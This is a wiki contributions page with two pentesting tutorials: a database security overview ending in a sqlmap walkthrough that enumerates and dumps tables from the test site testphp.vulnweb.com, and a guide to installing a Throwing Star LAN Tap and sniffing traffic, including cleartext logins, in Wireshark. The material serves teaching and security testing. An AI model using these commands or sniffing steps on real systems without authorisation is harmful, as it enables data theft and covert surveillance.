Elvis Wiki - User contributions [en]

Database Assessment

2023-01-28T10:40:07Z

AHoefelsauer:

== Summary ==

This wiki page gives an overview of database assessment and security techniques. Those will also be demonstrated through a practical example tool - sqlmap.

== Requirements for practical example ==

* Operating system: Kali Linux 2021.3a

== General database security ==
For any and all database a few key structures have to be
protected including:

* The actual data itself that is stored inside the database
* The database managment system (DBMS) as a whole
* Any external applications that can be associated with the DBMS
* The actual physical database server and the hardware it builds upon
* The network infrastructure that is used to access the database

== Classification of security threats ==

Generally database security can be classified in 3 categories.

* External security threats are threats that come from outside of the company/organization. Those include but are not limited to hackers, environmental causes, organized crime. Since they are external entities there is no inherent privileges or trust, that the company affords them.
* Internal security threats are the second threat group and typically come from inside the company/organization. In most cases those can be programmers, interns, system admins. These internal entities normally have medium to high amount of privileges and trust.
* The last security threat is the partner security threat. Those are any and all entities that are in a business relation with the company/organization. Information is usually exchanged between business partners so they also are afforded at least some amount of privilege and trust

== Types of security threats ==

Internal or also insider threats are the most common of the three and manifest themselves as either malicious exposure of data from a person on the inside that has access and/or privileges that allow access to the data or through unintentional and negligent behaviour on behalf of an employee. In the group of unintentional and negligent behaviour, general human error like sharing passwords and using weak passwords as well as genuine accidents are also quite common. To exploit or attack vulnerabilities in a system is the other big group of threats and is positioned in the external threats category.

The following are a selection of the most commonly exploited vulnerabilities on account of them being existent in most of not all database systems:

* SQL Injections: Through the injection of flawed or malicious SQL instructions that are packed inside the normal database queries an attacker can get access and/or even complete control of a database system. These malicious database queries normally get sent through either web applications or inserted into specifically crafted HTTP headers. SQL attacks are a database specific security threat since only databases use the Simple Query Language.
* Buffer overflow exploits: When a process tries to write more data than is allowed in a single block of memory some of it flows over. Inside this excess data that is stored in the following or previous memory blocks, attackers can hide malicious code.
* Denial of Service (DoS/DDos) attack: An attack can bombard any given server with more requests than this server can process, so the server breaks down. The effect of a DoS attack can range from slowed down response times to complete inability to use the server and shutdown of the server software.
* Classical Malware (Worms, Trojans, Ransomware): Those threats enter the system typically through either malicious links in emails and messages or through already infested devices that gain access to the network like laptops, usb-sticks or other hosts.

== Securing a database ==
Best practices for database security:
* Physical Security: Meaning regardless of the databases location, as few people as possible should have physically access to it.
* Encryption: ALL data on the database itself and any credentials that allow access to the database should be encrypted with state-of-the-art encryption mechanisms while transporting between hosts and while beeing in the database.
* Application/webserver security: Any and all applications or webservers that interact with the database system should be regularly tested and continuously monitored aswell as beeing kept up-to-date on any kind of security updates.
* Auditing: All logins, changes or other operations either on the database itself or it’s operating system should be monitored and logged.
*Administrative and network access controls: The minimum number of required users should have access to the database system and their permissions and privileges should be constricted to the minimum level, that they require to still do their job and finish assignments.
*Database software security: All database security software should be kept up-to-date and should be updated as soon as a new patch releases.
*Backup security: Any kind of backup or copies of the data on the database should be treated with the same security restrictions as the actual database itself and should be encrypted at all times aswell

== SQLmap description ==

sqlmap is a open-source pentesting tool. It can be used for manual or automated detection and exploitation of sql-based databases. It supports exploitation for all major SQL injection methods inclunding:
* Error-based
* Union-based
* Time-based
* Boolean-based
* Out-of-band
* Stacked Queries

It also allows the user to search for specific databases, tables inside these databases or columns inside these tables as well as ultilize a -dump command to to dump entire tables, just specific columns or singular entries per the user's request.

Password hashes are automatically classified by format and can be cracked using dictionary attacks. Another feature is the upload and download of arbitrary files via the filesystem of the attacked database server.

== SQLmap usage example ==

Firstly we install sqlmap on our device/VM by using the following commands:

sudo apt update
sudo apt upgrade

sudo apt-get install sqlmap

The following command specifies the website with corresponding database in the back, that is to be tested. --dbs gives us all possible SQL injection techniques to which the database is vulnerable as well as some general information of the backend like operating system etc.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

[[File:Sqlmap dbs.png]]

After one picks a database to dig in deeper the --tables command will list all the tables currently in the specified database.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

[[File:Sqlmap tables.png]]

After one picks a table inside a vulnerable database, one can expose the columns to the corresponding table by using the --columns command.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists --columns

[[File:Sqlmap columns.png]]

As a last step by utilizing the --dump command, one can dump all entries inside a column to the console.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump

[[File:Sqlmap dump.png]]

== References ==

* https://sqlmap.org
* Nedhal A. Al-Sayid and Dana Aldlaeen. Database security threats: A survey study. In 2013 5th International Conference on Computer Science and Information Technology, pages 60–64, 2013.

[[Category:Documentation]]

Throwing Star LAN Tap

2021-12-21T19:02:33Z

AHoefelsauer:

== Summary ==

This description shows what the [https://greatscottgadgets.com/throwingstar/ Throwing Star LAN Tap] device is and how it can be used. Further information is given when the thorough explanation requires it.

== Requirements ==

To use this device for traffic sniffing, the following things are needed:
* Throwing Star LAN Tap Kit (assembled) or Pro edition
* Wired LAN network, where the LAN sniffing device can be installed
* Device with RJ45 Ethernet port as monitoring device
* Wireshark running on the monitoring device for capturing the traffic

== Description ==

[[File:Throwingstarlantapkit1.png|thumb|500px|frame|Throwing Star LAN Tap Kit with highlighted connectors for assembling]]

[[File:Throwingstarlantappro.jpeg|thumb|500px|frame|Throwing Star LAN Tap Pro]]

LAN Taps are integrated in the existing network and are used to monitor the network, because all traffic/packets coming into and going out of the network can be inspected using sniffing programs such as [https://www.wireshark.org/ WireShark].
The Throwing Star LAN Tap is a passive Ethernet tap that needs no power for working.

=== Device - Editions ===

There are two editions: the Kit ([[Throwing Star LAN Tap Kit]]), which you must assemble yourself and solder to work, and the Pro Edition ([[Throwing Star LAN Tap Pro]]). The device itself is the same.
* The Kit is a circuit board printed as star shaped with four RJ-45 (Ethernet) connectors and two 200pF capacitors that must be placed on the board.
* The Pro Edition is the second option, where the electrical components are already soldered and prepared for easier usage and the device fully assembled.

==== Assembly of the Throwing Star LAN Tap Kit ====

To assemble the Throwing Star LAN Tap Kit, the following steps must be taken:
* The four modular RJ-45 connectors are inserted into the circuit board at J1 - J4.
* The two capacitors are inserted into the C1 and C2 slots at the J3 and J4 monitoring ports.
* If the assembly is done permanently, the eight leads of each connector and both leads of each capacitor must be soldered carefully.
* After the assembly is done, the Throwing Star LAN Tap is connected by Ethernet cables in line with the target network at J1 and J2.
* One or both of the monitoring ports J3 and J4 are connected with Ethernet cables to one or two monitoring devices.
* To capture the network traffic, a software such as WireShark or tcptump is used on the monitoring device.

=== Step 1: Installation of the device in the LAN network ===

The following figure shows how the LAN traffic sniffing device can be implemented into the existing LAN network. From here on out, it does not matter whether the Kit or Pro edition is used - both work the same.
The sniffing device, in this example, is placed between the switch and the target computer. The traffic runs through the device (ports J1 and J2). The monitoring notebook is connected to the monitoring port J4 of the Throwing Star LAN Tap Pro.

[[File:Networkthrowingstar.png|none|100px|frame|Network, where the Throwing Star LAN Tap is installed]]

=== Step 2: Performing different tasks on the target computer ===

For capturing various packets, several different kinds of programs and usages were performed on the target computer, which are listed in the following points:
* Browser Usage with HTTP-websites
* Browser Usage with HTTPS-websites
* VPN Connection
* Checking emails with Outlook in the browser
* Watching videos in the browser (https-websites)
* Printing PDFs on the connected printer in the network
* Listening to music with Spotify

=== Step 3: Analyse results in Wireshark on the monitoring device ===

==== Introduction ====

Nowadays, every secure website uses HTTPS for communication over a computer network. It is also called HTTP over TLS, because the communication protocol is encrypted using TLS (Transport Layer Security). The packets
that are captured in Wireshark need to be inspected properly and in detail, because packet analysis is more complex since most internet traffic is encrypted and applications commonly use encryption based on TLS as well. Only if the HTTP-protocol is used, the information can be sniffed easier.
As an example, data/information that is shown in the Wireshark captures for TCP communication with HTTPS on top. These are one of the most important protocols for the mentioned use-cases described in Step 2.

* Source IP and Destination IP
* Source Port and Destination Port
* Source MAC and Destination MAC
* Round Trip Time (RTT) between client and server
* Time to live (TTL) - which indicates the hops between client and server
* TCP windows and flags
* Sessions
* Packets, Data, Payload
* Retransmissions

Getting this basic metadata, which actually provides information about other data, with the Throwing Star LAN Tap is really powerful, because today, data is everything. Algorithms and systems can be used to extract insights and knowledge from this unstructured and structured data. Implementing the sniffing device (Throwing Star LAN Tap Kit or Pro edition) in corporate networks provides powerful information about companies, their whereabouts, knowledge, views and a lot more. Extracting useful information from the data is very important for data mining, which can give companies competitive advantages through statistics and predictions on basis of the given data.

==== Example Results ====

The following figures show examples of which kind of information can be sniffed with the Throwing Star LAN Tap. The target computer has the IP-address 192.168.0.122. The screenshots are taken from the Wireshark capture of the monitoring device. The first example shows what kind of things are possible to see, if the HTTP-protocol is used. The login data can be read in cleartext, which is marked together with the host with a yellow rectangle.

[[File:throwingstarlansniff1.png|none|200px|frame|Wireshark capture using the Throwing Star LAN Tap - Login to a HTTP-Website]]

The second packet capture example of Wireshark in the following figure shows that a document was printed on the printer, which is available in the Local Area Network (LAN). The document name can be seen in cleartext in the Wireshark packet capture, highlighted with a yellow rectangle.

[[File:throwingstarlansniff2.png|none|200px|frame|Wireshark capture using the Throwing Star LAN Tap Pro - Document printed on the LAN printer]]

==== Summary of the important aspects ====

All captured packets in Wireshark provide data like the listed points given in step 2 above for TCP with HTTPS on top. It is important to mention that the most data can be seen during connection/3-way-handshake or at the beginning
of a session or transaction. After the initiation process and data starts flowing, only the payload can be seen, which does not provide more than encrypted payload packets with source and destination, length/size and the used protocol. As an example, for a network administrator it is possible to use data such as Source/Destination IP, Source/Destination MAC and the protocols to easily comprehend what the devices or users in the target network are up to and with whom they are communicating. It is important to remember that nowadays several protocols in use ensure security for the packets sent over a network. Therefore, traffic sniffing by using a device such as the Throwing Star LAN Tap becomes more difficult with Wireshark, but it is still possible to see loads of information and metadata. These can be used to inspect and learn a lot about the target network and are really powerful to a network administrator
or for illegally obtained access to the network from a hacker. With a high number of IoT devices connected to a Local Area Network via Ethernet, the Throwing Star LAN Tap can be used very successfully by installing it in the
right place in the network, for example between the switch and router. If all IoT devices are directly connected to the switch, all traffic that is sent to the router can be sniffed on the monitoring port, without any of the IoT devices knowing about this. For network administrators this can be a very powerful tool to find flaws and problems or inspect the network in detail.

== Important Take-Aways ==

* The Throwing Star LAN Tap is a device for passive LAN traffic sniffing and is a really powerful tool for network administrators.

* Nowadays, several protocols in use ensure security for the packets sent over a network. Traffic sniffing therefore becomes more difficult with Wireshark, but it is still possible to see loads of information and metadata. Stealing confidential data is not the primary goal nowadays.

* Algorithms and systems can be used to extract insights and knowledge from these unstructured and structured data. Extracting useful information from this data is very important for data mining, which can give companies competitive advantages through statistics and predictions on basis of the given data.

== Used Hardware ==

[[Throwing Star LAN Tap Kit]]

[[Throwing Star LAN Tap Pro]]

== References ==

* https://greatscottgadgets.com/throwingstar/

* https://www.wireshark.org/

* https://greatscottgadgets.com/throwingstar/throwing-star-instructions.pdf

* https://github.com/greatscottgadgets/throwing-star-lan-tap

* https://schwartzdaniel.com/5-useful-tips-for-analyzing-wireshark-packet-captures/

* https://accedian.com/blog/how-to-decrypt-an-https-exchange-with-wireshark/

* https://www.youtube.com/watch?v=3zUsJm3bwGY&ab_channel=Hak5

* Hessel Schut, Mark Scanlon, Jason Farina, and Nhien-An Le-Khac. Towards the Forensic Identification and Investigation of Cloud Hosted Servers through Non-Invasive Wiretaps. 08/2015

* V. Ribeiro, A. Rocha, R. Peixoto, F. Portela, and M. F. Santos. Importance of statistics for data mining and data science. In 2017. 5th International Conference on Future Internet of Things and Cloud Workshops (FiCloudW), pages 156-163, 2017.

[[Category:Pentesting]]